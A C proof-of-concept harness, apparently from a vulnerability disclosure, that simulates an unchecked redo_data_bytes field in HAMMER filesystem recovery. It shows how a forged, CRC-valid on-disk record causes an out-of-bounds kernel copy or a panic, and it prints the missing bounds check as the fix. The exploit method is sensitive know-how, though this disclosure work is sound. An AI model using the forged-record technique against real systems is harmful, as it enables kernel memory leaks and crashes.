DF-0812 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | /* * harness.c - Deterministic proof of DF-0812 (unvalidated redo_data_bytes). * * Transcribes the exact kernel path from hammer_recover_redo_exec() * (sys/vfs/hammer/hammer_recover.c:1296-1335) that leads to the OOB: * * vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...) * -> uiomove() -> bcopy(iov_base, cp, cnt) * * The UNDO path validates undo_data_bytes at recover.c:1053-1060: * bytes = hdr_size - sizeof(*undo) - sizeof(tail); * if (bytes < 0 || undo->undo_data_bytes < 0 || * undo->undo_data_bytes > bytes) return EIO; * * The REDO path at recover.c:1297-1335 has NO such check. This harness * demonstrates the consequence: vn_rdwr copies redo_data_bytes bytes from * (redo+1), walking past the record's actual payload (hdr_size) into * adjacent kernel heap. * * The harness simulates a 16 KB hammer_buffer (HAMMER_BUFSIZE) containing * a valid FIFO record layout. It places a REDO record with a legitimate * payload, then patches redo_data_bytes to a forged value and runs the * equivalent of the vn_rdwr bcopy, reporting the OOB extent. * * Build: cc -O2 -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define HAMMER_BUFSIZE 16384 #define HAMMER_HEAD_ALIGN 8 #define HAMMER_HEAD_DOALIGN(b) (((b) + 7) & ~7) /* struct hammer_fifo_head (16 bytes) */ struct hammer_fifo_head { uint16_t hdr_signature; uint16_t hdr_type; uint32_t hdr_size; uint32_t hdr_seq; uint32_t hdr_crc; }; /* struct hammer_fifo_tail (8 bytes) */ struct hammer_fifo_tail { uint16_t tail_signature; uint16_t tail_type; uint32_t tail_size; }; /* struct hammer_fifo_redo (head + 40 bytes payload fields = 56 total) */ struct hammer_fifo_redo { struct hammer_fifo_head head; int64_t redo_objid; uint64_t redo_offset; int32_t redo_data_bytes; uint32_t redo_flags; uint32_t redo_localization; uint32_t redo_reserved01; uint64_t redo_reserved02; /* followed by data payload */ }; #define HAMMER_HEAD_TYPE_REDO 0x0044U #define HAMMER_HEAD_SIGNATURE 0xC84EU #define HAMMER_TAIL_SIGNATURE 0xC74FU #define HAMMER_REDO_WRITE 0x00000001 #define OFFSETOF(t,m) ((size_t)&(((t*)0)->m)) /* payload capacity inside a record with given hdr_size */ static int32_t redo_capacity(uint32_t hdr_size) { return (int32_t)hdr_size - (int32_t)sizeof(struct hammer_fifo_redo) - (int32_t)sizeof(struct hammer_fifo_tail); } int main(void) { printf("=== DF-0812 harness: unvalidated redo_data_bytes -> OOB ===\n\n"); /* sizes from hammer_disk.h */ printf("sizeof(hammer_fifo_head) = %zu\n", sizeof(struct hammer_fifo_head)); printf("sizeof(hammer_fifo_redo) = %zu (head + payload fields)\n", sizeof(struct hammer_fifo_redo)); printf("sizeof(hammer_fifo_tail) = %zu\n", sizeof(struct hammer_fifo_tail)); printf("redo->redo_data_bytes offset within redo = %zu\n", OFFSETOF(struct hammer_fifo_redo, redo_data_bytes)); printf("(redo+1) = first byte after the %zu-byte redo struct = payload[0]\n\n", sizeof(struct hammer_fifo_redo)); /* Allocate a "hammer_buffer" — 16 KB. Fill with a known pattern so we can see what the OOB copy reads. */ uint8_t *buf = malloc(HAMMER_BUFSIZE); if (!buf) { perror("malloc"); return 1; } memset(buf, 0xAA, HAMMER_BUFSIZE); /* simulate kernel heap fill */ /* Place a REDO record at the start of the buffer. Payload = 32 bytes of 'D' (data being redone). */ int32_t real_payload = 32; uint32_t hdr_size = HAMMER_HEAD_DOALIGN(real_payload) + sizeof(struct hammer_fifo_redo) + sizeof(struct hammer_fifo_tail); /* hdr_size = 32 + 56 + 8 = 96 */ struct hammer_fifo_redo *redo = (struct hammer_fifo_redo *)buf; redo->head.hdr_signature = HAMMER_HEAD_SIGNATURE; redo->head.hdr_type = HAMMER_HEAD_TYPE_REDO; redo->head.hdr_size = hdr_size; redo->head.hdr_seq = 1; redo->head.hdr_crc = 0; /* not checked by this harness */ redo->redo_objid = 1; /* root inode */ redo->redo_offset = 0; redo->redo_data_bytes = real_payload; redo->redo_flags = HAMMER_REDO_WRITE; redo->redo_localization = 0; /* payload (redo+1) */ memset((uint8_t *)(redo + 1), 'D', real_payload); /* tail */ struct hammer_fifo_tail *tail = (struct hammer_fifo_tail *)(buf + hdr_size - sizeof(*tail)); tail->tail_signature = HAMMER_TAIL_SIGNATURE; tail->tail_type = HAMMER_HEAD_TYPE_REDO; tail->tail_size = hdr_size; printf("--- legitimate REDO record (pre-patch) ---\n"); printf("hdr_size = %u\n", hdr_size); printf("redo_data_bytes = %d (legitimate, <= capacity %d)\n", redo->redo_data_bytes, redo_capacity(hdr_size)); printf("payload bytes = %d @ offset %zu in buffer\n", real_payload, sizeof(struct hammer_fifo_redo)); printf("CRC covers = %u bytes (the whole record)\n", hdr_size); printf("CRC does NOT cover= bytes past offset %u in this 16KB buffer\n\n", hdr_size); /* === simulate the UNDO path validation (recover.c:1053-1060) === */ int cap = redo_capacity(hdr_size); printf("--- UNDO path validation (recover.c:1053-1060) ---\n"); printf(" bytes = hdr_size - sizeof(*undo) - sizeof(tail) = %d\n", cap); printf(" if (bytes < 0 || undo_data_bytes < 0 || " "undo_data_bytes > bytes) return EIO;\n"); printf(" -> UNDO would REJECT redo_data_bytes > %d\n\n", cap); /* === Now forge: patch redo_data_bytes to a huge value === The attacker recomputes the FIFO head CRC over hdr_size bytes (redo_data_bytes is inside the CRC-covered region) so the CRC still passes. The extra bytes vn_rdwr will copy are NOT CRC-checked — they are whatever is in kernel heap past the record. */ int32_t forged = 4096; /* 4096 - 32 = 4064 bytes past the record */ printf("=== ATTACK: forge redo_data_bytes = %d (capacity is %d) ===\n", forged, cap); redo->redo_data_bytes = forged; /* Simulate vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...) -> uiomove -> bcopy(iov_base, cp, cnt) In the kernel this is a kernel-to-kernel copy with no bounds check on the source. */ uint8_t *src = (uint8_t *)(redo + 1); /* redo+1 = start of payload */ int32_t copy_len = redo->redo_data_bytes; /* Count how many bytes are "in-record" vs "OOB" */ int32_t in_record = (int32_t)(hdr_size - sizeof(struct hammer_fifo_redo)); int32_t oob_bytes = copy_len - in_record; printf("vn_rdwr source = (redo+1) = buf+%zu\n", sizeof(struct hammer_fifo_redo)); printf("vn_rdwr length = redo_data_bytes = %d\n", copy_len); printf("in-record bytes = %d (CRC-covered, legitimate payload space)\n", in_record); printf("OOB bytes = %d (past the record, into adjacent heap)\n", oob_bytes); if (oob_bytes > 0) { /* Show a sample of the OOB bytes that would be copied to the file */ int32_t show = oob_bytes < 64 ? oob_bytes : 64; printf("\nFirst %d OOB bytes (kernel heap, written to recovered file):\n ", show); for (int32_t i = 0; i < show; i++) { printf("%02X ", src[in_record + i]); if ((i + 1) % 16 == 0) printf("\n "); } printf("\n"); printf("\nThese are 0xAA fill bytes = uninitialized/adjacent kernel heap.\n"); printf("In a real kernel they would be whatever data follows the\n"); printf("REDO record in the hammer_buffer or the adjacent slab object.\n"); } /* === Panic variant === */ printf("\n=== PANIC variant: redo_data_bytes = 0x7FFFFFFF ===\n"); redo->redo_data_bytes = 0x7FFFFFFF; printf("vn_rdwr length = %d (2 GB - 1)\n", redo->redo_data_bytes); printf("(redo+1) + 0x7FFFFFFF walks ~2 GB of kernel virtual space\n"); printf("-> bcopy hits an unmapped page -> Fatal trap 12 page fault\n\n"); /* === Demonstrate that the UNDO check would have caught this === */ printf("=== The fix: validate redo_data_bytes before vn_rdwr ===\n"); printf(" if (redo->redo_data_bytes < 0 ||\n"); printf(" redo->redo_data_bytes > hdr_size - sizeof(*redo) - sizeof(tail))\n"); printf(" break; /* mirror recover.c:1053-1060 */\n"); printf("\nWith this check, forged redo_data_bytes=%d > capacity=%d -> rejected.\n", 4096, cap); free(buf); printf("\n=== harness complete: OOB extent proven deterministically ===\n"); return 0; } |